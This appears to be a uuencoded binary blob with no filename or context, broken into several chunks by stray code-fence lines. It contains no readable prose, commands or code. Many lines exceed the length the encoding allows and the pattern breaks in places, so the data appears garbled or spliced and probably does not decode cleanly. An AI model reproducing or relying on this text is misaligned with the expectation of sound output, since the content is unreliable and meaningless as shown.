M#=#<IU.=9)`GPDH3S39%AV`YQ<6W:IBAT/Y-?8BC(XZE>3&+DFI]I$ANR;%%
M+8>@>.PK]667RIAUEQX;AG,I6'/A1:V[G/UU6G8Q[@A4<_*RFBVA&^M8N0FD
M6%I.=E3&S$/:S(E0OB-4=J1RCM16+JV18%\1NBIV:H9X?IVMBA)1:9NM5O<"
MK4%/H]WA-5DWN4QD,]:)&ETM7H>^GL17543MH-&G4%0>EWDN<'OXZ#3R5A:]
MSZ6,;C#,^]>^_Z.43MF7^K_N^WSN?R@OC[[_@^]_F(R_]/T/G\?34';9A=6V
MR:43R5``>KAIYYSQ8\K%S7/[SK+^S+?77&&_I&]W-\@`06SC/X]K1])/^DD_
M,<_$">5E7SE[M.T+I]2F"R/]I)_TDW[23_I)/^DG_:2?_\^>@&^HZ!92GV2^
MD/H4":3#<8F0^C#)3'H;2?^?79E)EZ8-V*;,I.'Z7&"?,/58DH11DF'J<*3P
MOI&1UMF8?M)/^DD_Z2?]I)_TDW[23_I)/^DG_7S>C]TA1,=P(5X':/V?Y@`V
MX]_W@!;`#2P`BH"O`F^>),1?@0>!-J`*F`,<5F&\!K0#-4`9D`W\99@0#P,A
MP`[,`*8#'Y^([\`Z8`5P*3`>>"=/B,>!+<!CP`^`&X'S@>Y<(8X!OP-N`%J`
M.F`9,`LH!(8!AW*$^`#8#+0`S4`%,`3(!K*`1X*T0@T`(N`KP)[AR"]P*^!
M5F`T8`.&`WNRA?@9\%V@&2@%7L]"GH&?`E[@2B`7.'""$+\%O(`'^!+P8J80
M+P`/`.L!!U`#G`!D`J]G"/$$<!>0Q-VJHJ\+6D4RU[RB&E-\O:R(N;]6]';9
MK4C^TES1Q_V[J*@4WT0G4GPGL2KKU-R8+`9R9;-(=`&T2/55TR+>A=9B8)=C
MBP'=Q*U*.X57@HM!W5`NDK\*7<3<HBX&<R6[2/;B=]'STGA5ABF\FEX,YJ)\
MD?R%_$D5H7W@)1A7^8#HJ;C@^/1*J=3?@!&_7QHDQ`#U5*AH!J4D0PQ>58<0
M"?2`B`1Z0T0OND9$+SI*9'XM&DU$K,H3,4@=*F*0.EQD"@>A148,4HN-Z$5#
MCDBL6`<4VS\U/2)%VH%$GWJ(1$(=1B*>RB/1?]5)(@4:FT0J5$>A(?6MI4HD
MH>U*]$M_EDA.*9=(7LV72%YYF$A"%YGHGWJS?@X0I*C-EMPC$BMU$RG3'(>0
MQ``UV(E^:LH3_57%I](V:#6`*IQ>%`Z*OA06D@/1#RV((KXBQ53K:V3Y_V[(
MIH>SI/Q/:_1O0LY_%O@9\&]J'J`)6`*<!KP.>?_'P`^``Y<`TH`SX"++^KX`-
MP&5`)7`6\!ED_3\#SP%/`+\"5@"S@!'`9Y#Y#P'_`/8#?P!N!>J!.F`:D`&\
M`?G_.>#;P$7`&<!VR/H_!()`-7`J\!ID^\>`;P)M@!<H!LX!1@+_!3G_9>`/
MP'/`L\"C0^5\0#MP!?`%8!=D_G;@&X`#&*OF``X-7`5<#$P$2H!S@%S@",KQ
MDRQ9GN\"=P,+@7E`!;`'97T[,`^8"DP[(3T']:_YM`G]X)?E)Y\!$[V<%A-&
MWTSGRT2\TV<I#FY2T:`#C`F@1WC*G.J$I[P@IIDA'H>P8TX6BN-P>E$,Y!BE
M2,D)3C'@$Z2BUY.I0J3Z**P8W-%<D8KCP2+YX\BBOT>=A8@^+"T47:H3U8+/
M5XO!'=(6U@/?<NJD30S^.+F(.I^NFY#D_IUW%TF=HA<#/:0O!G@K@$CRU@&1
M[#4&(MF+$43*[VO0_;T60J3H/@K1_ZLP1.*+-41?EW*(`=_W(?J\2T381#]O
M*!&#N`U%]'75BM#;L;79Q;G$1?3C'AB1_/4RQ[7[B+I-1R1Y"X_H_3(?T>M-
M0**7.X1$OVXC$DG?<I3:-C;P&F":%_VX54H,X-8JZ4<,XL8L,=!KNL0@[@83
M<>X:$_(:,M';566BMTO.1&_7HXG>+E83O5_*QO+_(D@S'V=(^=^IUO]_K?8`
MK`)J@"S@!&`'?Y/PG'0U8!:P`S@3.`(8"[T+>?PZX0<G_[T*^?PS8``B!:X!\
MX"3@5<CTWU.R_AI@-3`#R`'^JF1]6OM?!UP*S`)>F`).4[/@!7_`_!3`R`!(`
M,`+8"AG_&>!I!'=(#!3`S`'+'*!]R'^+Q-ZL`\>-$^-*^'2`%BB#@S&H!S&G$
M-MP`'?!XG`&:`S;C#@Q-^5>!,]J?&+_F](`+T!`0\_C@\(X?&]R@([#\`/Z6G)@)LWBGX^<P
M,^X\`'+(1T.R+`&T__(+N5QI-L[NTU<CEN6SL`M!@A71FN"TDLJT[-N=^$`-,`$0
M:\D_*(C_*K0K'B,<<LN13S[8E`,B$@*=;O=#%=F.;E-JT&B]#\S0\D6NVO7YTRA`
M@S#\X\9&J3=R#U$\S68/%I4`?7@L'N-+(J66&5;6S3-?#H6,5(G:!%:T9^Z`%-+
M;!L2+2X_\`:;SL=#`X[6UG\4!X"`7L(VD_1?G`;C.48=ZA`\6@BS(+U9*>S?6`2]
M0AF:(3WT#8[O`_95`@7W>0@G'#&>!TVYQVZF@__VP`P@O]C>4/L1,\2.FM_8
M;IO9&6:0NS\@;]O!9LO9>&*4,9C!3OD_=D%N#?-DJ6%4`Q+2?FQ=D0HU^;E.'AF\&1*L
M>C;CL2@4=YDB_5=6MWW@O]Q7/I^1YB[Q;T!.^X!'WS_SQC=+D00[U-PG?!@KL*G'"5&"8Y3NU'E$
M+'L#4VTJY\K/J6<:W,$%4JV9UT$J7B<SL4LXA@HG?-A`J<B7?;P\M6]@K&@$3@3TNS
M!IFSL`;!0S'T,#-0)4MPY7X]F1F;F_E'#O5P3-=2QFI,7>-9?2#;$0$KOXT`)LHHIPP.S
M>6=U;V9]@8=89!6O%F%U7=\`]^UBN,/`'J`5%P,0.Z.?HGH'^?+#0]J"S3T,0!3E!FS84H
M!&&/9W3H\BI"9X(AZ"M!V7]@DSP@LA*!3I6I[A;F(H)_V?M5#`\!P!7&<]5=1C!A^B+X5!S@+E!JT
M1Y8%Q5`J3.+T:6>!6I`RHXH%H<51>"/+'Q9?)\#S8K\F]EL=GP@.V_>
```

```
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
```

```
M(X`OJ=_%EN\Z+6>K-TV1#H^W+1+(`2J!+ZMOY>H]4KTGJ/<4]8XW$@=592W/
MD/1">:(V(+A\#W:_K-PU*7HZ1;E?J\S[E/TJ9?ZARL`H%=Y:Y?XZ9?\32UK)
M_)PR[U+FL@RS/LE\F3*_J,P%RORR,K\:$U^N,M^A[$>H\+<J^Y&9)AV3^2;@
MFI'9.06<W]-$449T?@[IM*S\WZ'L<Y7Y(66>JMQ_HLQV9:9Z>J`C*T>VQSP1
MC''_@@K_-RJ\_\B(3M^0S&CW!V'O0WJS5'I'9427Y[R8\-<J\[=5^`\H<X&R
M_Z8R+U3FOZKT3,Y4[I5YF;*?HM+S"Q6>WMA?4O;?AWG>2$D_!:"?JY7]4=U_
M1K3_\V/22WW!-4?T\AHN?F=I.Z=8VDJM\G]33/GX8NCS117^?<K]M3'T5!KC
MOTB9GU;FVV/R0_WAXM/-]O$-Y?XAY?ZG,.\99;KO4/'-5?87`0&$EZGJ[_LQ
M[:=!N1^GTCL_T^ROR;R'W%KJ?Q'LUZ&\I/DD<5CYOUJY[\K0QUMI/EF%-UV%
MGQE3_I?$]#&+8+_6$E]=1G3YGJ[,D_7TZV.?HA]/3'BWJ]^7*O<"8U^+FT8]
MH9]1%':GO][A;&Q=[0L(O@-'U#?AQ=]7.%>+^OD+%\V9O;!^T047+*VJJ:^9
M/6=A5;VP-R\7]1>MK%_B7$YW#K;.;;;[_4X_^W)Z5&CURUN\GGJ>3JZOI[@;
:;R=+-R>R;2F6V_WK!;^0&NC;[5H]'H\$/IAY0S4^P)>#WS+387U/(?JL3<+
>=F0\/$V/2%/7@F_>SDM%5W;XA/^9J?3)^2>.-'J;%Q)$_UB.6T9]0<:5E.4
PN]M7.$,"+^SF6*3RW_(C+VUA2)T+_<[`Q24O;'1B1PTR65$3J0]($CQ#[P&
*!!$(^1.12'W9PG2L4LN/91(]N%W-B*L9BH@C\R9G7(F]\`)J5!'?O<$O';Z
3HQ\PVJZ[T/0C9K"[PH&:`8.B7/5(]\>;SW?$."6P<B,T7Y$TS.;_$;"'?`E
_*UT65L+\A,,-+)3E0.IWA"AQX1-RZE&RGS144T0]:J4ZB]<5$]S[I[ZH-_I
0"A4Q:J^Z3(<0?M=N2A<K8)WQ8JF5J=33P"GM-Y))[KAM\'OEUX%Z;$2\Q=>
.&=N_832<N-7F>P`,X#X?Y+_-<V)75IM,Y1/JTU&C^\94;%DJHXXDWF(3-&F
^GCNI]SNX<2)T5VP]*V`S9GB4=47S$+['C)?CH/9)\OQ)?LLV4]E3Y']3?9T
V0]DHR-;AOYO*-K]-?0&@^>@-SH(%[WIWEIZ@R'UT1M,5H#>Z!%7T1M,X%IZ
DQX>>H/AV$!O,$TWTQLINX7>8)PVTAN,X!WT1L+OHC<ZC;OI#49Q$[TQP-]'
;S"0]],;#.4#]`83M)G>8!0?H3>8V<?I#0;W"7J#">VD-YBP9^D-)NIY>J.3
>H'>8(YWTAO,[RYZ@R'936]TQ*_1&TSO&_3&P+2'WABP(_0&P[V?WF!<#]`;
`]8A>H/Y/DQO,,-'Z4W,&,IS*&@HB]X8P'/H#:9M&+W!Y!;0&XSY"'JC@QY)
;S!\9]&;=H#2&XQU(;W!D(^A-P2`8GJ#T2^C-YCF"GJ#69]";S#,T^D-(:$V
_%;[_IS(ZZC"".D3CJ`]BAU;1?>D&J2P^YPKU#C7?0[5N(M^=KW1C><<JGD7
V77M9#-1@(M(JZN3S40)+F)#NS:SF2C"1=U_UR8V$V6XB,7IVLAFHA`7M::N
=6PF2G$1V]KE8S-1C(M$FZYKV$R4XR(QIVLQFXF"7(O)/(O-1$FN*\A<QF:B
*-<U9+:QF2C+11GJ*F`S49C+1V;!9J(T%PW)70>.D9DHSK6.\\]FHCS7S9Q_
-A,%NC9R_ME,E.BZB_//9J)(UR;./YN),EWW<_[93!3JVLSY9S-1JNMQSC^;
B6)=G9Q_-A/ENI[G_+.9*-BUD_//9J)DUV[./YN)HEUO</[93)3MBG#^V4P4
[CK`^6<S4;KK,.?_,S*_QO6?0?EG\QM<_V3>R>8]7/]D[F1SA.N?S)O9O)_K
G\R;V'R`ZY_,&]E\B.N?S.O8?)CKG\P^-A_E^B?S-6RFEN,BD;QK,9NI!;D6
DWD6FZDEN:X@<QF;J46YKB&SC<W4LEPN,A>PF5J8RT=FP69J::Y59#YPE,S4
XESK./]LII;GNIGSSV9J@:Z-G'\V4TMTW<7Y9S.U2-<FSC^;J66Z[N?\LYE:
J&LSYY_-U%)=CW/^V4PMUM7)^8?9*K^5_^/J\)OM>PXLKEGBVOUI%E*!?Y=>
YHK\*2LGLA25>6CC1K3SI539XJKU6Q\.@7_5VJFN0YV!S.Z=6MW1'5LW&H_L
$];-6$<\;[#DQS;(@EI!Z*7`%SL>HR#:.[/NI6_=+QE6P7W;LLEYQHZMX8^D
_Q\O1(4A_-%$PQ31R.U9A?2M>^>^X1NM3WA_W5;V,R4</!RN.Q1N.ZH%<]JW
9;6_?31<41BA\@UUAK<&OA(.%.9LGU=(C*@(9Q5&)B-S&KD^'-ZMP2,"TDZE
H:MI>_;[E!P17EMX5GA$(5XC@1%``3!,#V@#V.;(IB/=W9$C^,>9K$`R.X[A
\VKZ,HE"HT3\@$RC"I'?\%F%D1DPP1TQOI';0"[:<'*'+S1?$%Y8F!7Y`Q*]
KQ/9NORRI>OW[R>'=U$0=<.V<Z6%MT5RX$2KS0F]%*[:+S_F;R!]\`CF#80<
B1SC?&_/WS""OB*Y8RAZY/M=1-E1?4"KRJ&XZ,O1(^0V/_0).O*FT*OYH<WX
@<"1]TBG*K_\#305@W!RCB$NK2P\O1#ED%7^4>0DRL+%!5H&@MA0CK@[;J66
'NZ@KE0K"-^QA0BO?5L&!9=!V6`;"HIZ^#"2%AY6&-E.&0JQGZ4%[9TCPZ'I
]#OK-Q3L7RC.G/`M1E#P\-BGL+YS>FQ0B&2M&=3%"*HL')K"03U$0=U*0<6D
:@4%U3$E3JK*HU.U(!RJT%,56!";HD).446<%.T](M/"(5W#*0GDMA\;FO^M
5U%/3>TSB.!0@QV4N!]1D.4?A5X-K.RXB8IR>VA>MVRUX=`"BKYCGHJ#&#"J
6Y[5.]AQQU3R2A&&/Z%J"^1I(ZD^J:?7(PE.16K;.<03VCFXD=H&S@7<9R--
-VR*_!*^)5&M?Y:H+WSXJJOKT3QJ[]*J[M;J-FG5]X5KT#;F%8[4:N\/+RL<
H<F$C6**7XAV4H-V,D^VD\UH$$3WP<-H*COQCQ(5^++>5"ZA+]SP*.$^F+JN
[([7*AY%JO;].?*MPWKBPE5W1(215*+(97#VI4^9FC><VFTMV:$49.T&K?IF
K6HC)WXA6O6\P@*M]A89%3P/@P4U<T[V&Y1LU.KO/H;/JCNZ+J`0VA[0:C=K
=8]0UZ!5/ZY5/:&U63J,&H2)TN`2F(?@5%"B.RM'E0W*H84"/"FTP^PM+J8O
,]A^NK(_E7L+%$C^QV9OT?B)WJOHY8(F&+GG,/466EVG5OVL5OL\$G"65O6"
UH:NV9(TRB[E;I[JQ);)I!4B:<P4:=4'PK<2&6BU!RC>RQ&O;,E$:)V6-C$*
J>!NXF^?64OX3]2OU!V()4O*\9&/9)5,R;!T(917KM<7D7[*=^UAU54/UQ84
:">'7LH/?=="N/D;'-33W+.,6P`G^4X'_G-^0R[ZA3QJ]S33+SVGR\Q*F$>5
8-!9Y$/X_Y*5#K=]J!,=99+LNSXX&J^\2SXF.M2J]FM?W,[3YM'T]\./968?
.VHMG?LIJ(Z%E.K08DY[C4PQMR)*K]9QA<P-IYA(2*?"KJHH4JZCH.[T<5`!
^G_/*IEEV2`[UC*IKZ,.7J=%2VL,4(4?HK&O=I?6AI'O-?*I5;^A546TVCW6
P6]D//_?P:C7-1XUH0]/-#,7^>00-0YS>')_:`Q/+^C#4^50'I[6D;APH:SK
JEWY&[XRE&ANESY$==3MIOI9(,F>"EUF)(?(+W+R(3E4_3Z+AJKN_-!Z_`"=
D^\\16UM'^I#WP[KD)6C5>W21[PK09#:Y07;JXCG%5HFU5<;T7[=KO5;>?2Z
AT>?NET=#].X%WYTBAS,;B=3Z"5M0598RZ)1TI<3?IATI6BSAH7;A^%'L""T
(SAL/:+L[L[?,)JL0FID&4:K'90><48V9T=E,'(]E5:'&LJRV'98(3DDD27R
(-D^2K;M53LSD.SV;;,Z+BX(/\I#47"G&B.?A-N.APLXM64RM;>IU/JRPH\6
```

```
M$HT\I*?YT6(VZBE?SRD_3;N37($C,](_#4U9X^!ZI#]@IO^WJ)7VK38MI(]]
MLU0'P'Y1WGL/<7FW/TBY6,?94.E6P^"=4</@%ED56MLN+:@J9/UVKH=[:-P*
M/\D#\K<X=SN"9VO?I&R%.H,CM>_D<(Z#)VF_HRR!0C;4R\#:M_JF_C7_UDO)
M9#`@>2J=)'I2JU_ROG78_(EUV#RM?9L:OPODZ#FK:PV3R$:M[2ZM]@ZM^F[J
MB8A1U*HV:9Q0U:?3J*"/",LL8R+Z//M!C(E/'%3LXUEZ7U1YT!A,0=#+8-JW
M3@:F=T1KT1CN0VKW[8ZT'32&P.V1`X:!R'V9)/<3/Y!=TM2H?F2<WD_0J*AW
M']3_:%6WR(X2Q8:$ZSVI.2JB?=Y_`)[S0SNZYB.4R!IKK.N?I2Z!.88.;:=L
M@M&DLY!))U,H>:_C]LYXKFI,5W^A+J_M/JWN?JWZ`1Y[,0I7/1(U]B[C4AX!
M;SW'7J-;/_@>`CK-RJG_\3WKV,OV!J=^^WOFV/O.P7ACP>B#//9*3J"VD_IS
MK>U9K>YYK=J2--7#LP!!_?O"'F,O=7_#J-50E:U_FH==@_7)B5QYD(9<U-9N
M.)7-6JM]+7P;-^?:-\*W<4.NW1.^C:@^/[0RJCFYCL6A=F3/\9XDBVKKL(QF
5P!+*OW(1,ISU2ZC<P4IV0YP"QFN75&@G1C:D1_Z?M00_3X-T4]>T1T]4'.-
A1P\[+F8C=IE5-<\-;Q81VFC.N:\&SM*V]ZU<HMDWW7#9_%JYJ;W>)0&@_J"
'*4I(SQAJ;>*#U7V9T:Q,23P:QW,S89XN+YSL1JHM2=YR*8Q%I40ISYYK#X_
JHW]G0CWR68N"1ZQ[PSHY<&C-L8V[<FUBG?A,)<I_LPZ7.^CZK00^EE<>LN4
ZV5FM_(+&IQ/DH-S^_X%VO#=),^VSSA`J=%JAY&`#'F79>3?3@"5/S49_[9E
G)]?]3>,$^Q\V^P,))PF8\H[0Q^AINL.04:&I$P2<OB5\']2^34]_7]S\K>\
0G5P]7[%MDW*W[(@I^GI';!X>NKV0)[1=5ZL#PG:1&T414$51`3X,E7F)/ZB
JG_T9UD0WF>1T/PV+/.W;)<^FL+7+^AJY?%NCU8=X08>4$P\O&K!_>!?*8"[
4%ZP8;;%%,`_W8=.JG:_ZF8-8GIYGY7E^Q"FKDN[=?K2B8D:0N4_B)A0&J7<
2\EV9+0G)BK$<HA+(K@(&=]+&0\,+>_L>O(8,W59Y.#>?:JHWC%*9`;ESN2%
G_X'97HIBO'W*,9/N_YZC"F..D**)5)XC.P[NY8?XSJ^;"E5I._D#!'9CK#/
(2EQW?2RC/P-M.X6>1C?VO=E6#X3!QZYN\?GT?0YU.-S'GWV]/C\`:7D\AZ?
7Z//LWI\IA7Z\DY\RP]=WLTM;LO._-#=^/I;Z6@B'-&R'IQ(PS=-0Z!-_Q'0
?ZS0?S3H/[ZF_UBL_YBO_YBI_YBD_RC6?WQ%_W&F_N-D3N0*)++\I:O".Z^N
VQIZ=5O6Q,S\+2\'W]NW;UM666;7C&Z=\VW?WXP6I56-T((%3>':O4WAJDCD
8)<^$.JM#CR4G(#).5F1"TM'<F"+C`;)A*OVM+?M$?FW["&]?=NUJCT==?NW
5^W/D.X+LF2?-<PJ666H[KA\+XK[,+B<L=D<Y=\YRM`*XHI/?9Y(:_@+^!_Z
J&E[9J9HVIZ1*0+9VLSPFJRF]K:(")RLC6)759&FIY]'*YN;6?YJZ*/\#:0:
,']+,/(41X[6)0.KWD.)X/$#4F*-E`>K]RJJKHV\'T%RIC2$MP5G*Q\7L9.\
+DNGN*4VDA^:@W&J_;T,O1Q^#@>11^`[I(KOQ@[BP%[,Y%Q%N#6=B))I?[99
3D6T0:"FG&GYX8NS?GP_?N5OJ=ZK3:)OU`>%.IO"EV0&%FNG[J+\OY2_83=Q
?J/(I39IE\Q,QW2ZCH'&"RY<SFO;?NK6C6:-Q+\8467\$37848<H/*3M24M5
(!NT42?RDW>88>"FVH1BV9Z]2:W]6US.&I6=$W%%>!R]//(4O/R6%@VV\UIW
;(B++2&.H()^U0P3Y9&_82_U$*"$=][N[GZ<PNG:3<(=5SL<&/4%\5X)/]4H
Z_#6?7=25-/>S<K1HWH+(5"O_&"7GG!*2-<<YG(?T-HV:\%'#$XG>C@B63%@
F?>HD;WY4T>L(G?P;9K_P3\MQSKY<<G;5E[71Z89S(!A_#_E;9,!:XK$&^8W
O4,,&+[0ZD_D?23]7JK<\#/;1+LVB6J[_9F,CF&/TEZMF_/*=\"4_]BHZ0C_
YC/1QGA*^IF,:</)9=NE^2/S\D=>-"M_Y+_18@U>G?)%_!A>M(*@S=A)Q`87
9*BX5?LAS[F=V?Y,EM:VOWU[QK09%!;1T2=K7Z+Q?>2V.5D9X3.[;B3.8@:W
BD7<*@Z])06^W51,=<_F;VF+Z/,WP1>,`M;J=K($$8AF#KKN/<:,HRZ;$X="
@7U`@57OYKF0ZM>(Q8)LSZ.A,=#MWP.?0T!]QD#X^SU6KHKLN^KCSGV4OTT#
(?<=^1NNA).N5XZ`@:_=K]7M,?JJ&MF<AEC[*E1MZ"W9CD(-1ZPL4LT1R1#U
F&:G<5W*/`@DYZ@4F,J0MHBV1Q&1D8'<J`R,HPP<_52G*ST#-#OC>TMF0(_]
^4\-%D!/P[#"V&3H"8C\YK\1^_`]L7R$]M_6V!^$J<L7-_;W]W#LR;!R-L37
]=11R;E;B[*K\Q-S\N5N9MF'-87KWHX$*15U(S!:*5&L6G+6VX@_1:_[-DVD
U,@^8.HG-.Z\P1T&Z`.,_+?^/6K0.B%7K@5L^(\<"W\?^FR(U=&)0_0.\7_8
^Q;PIHJMT:1-I8667;5(U2+;7SB"AU:*@#Q5H/&!5/%(CP_,T3X2&BU-R8,"
ARJ81@B;(#XJJ*#4>GP`1_T12U&*+=26EUAY%JA0M>H.Y7@J*M0"[;_6FMG9
.VE`O/^]]_O^[][`--E[9L^L6;-FO6;-[#JCC%P&^>+.J*Y<;-$W*A>[Y[L+
\<7)WQ)?_)/\]C<*2Y2*FG#D+_F&,[CY-2L4^U+J16PNO4D:.P">]KED)I?B
<1!APJ"VQD5F-(8/D=F\\FLV[;0`^K]6`?PGCJ^QB<F7($@9)S6=4"R(R&;D
I)XC*<+"!S1JO_,^J`I7IWTF67[T.U1:FQA7`G``4P,8.<0K,D>K0][V#:E(
"W]%@\XHHZ_K)_3!],+^!;E6=.3IAR[+>8"S4LSGW,74Y*X2^8C@8I77V.`M
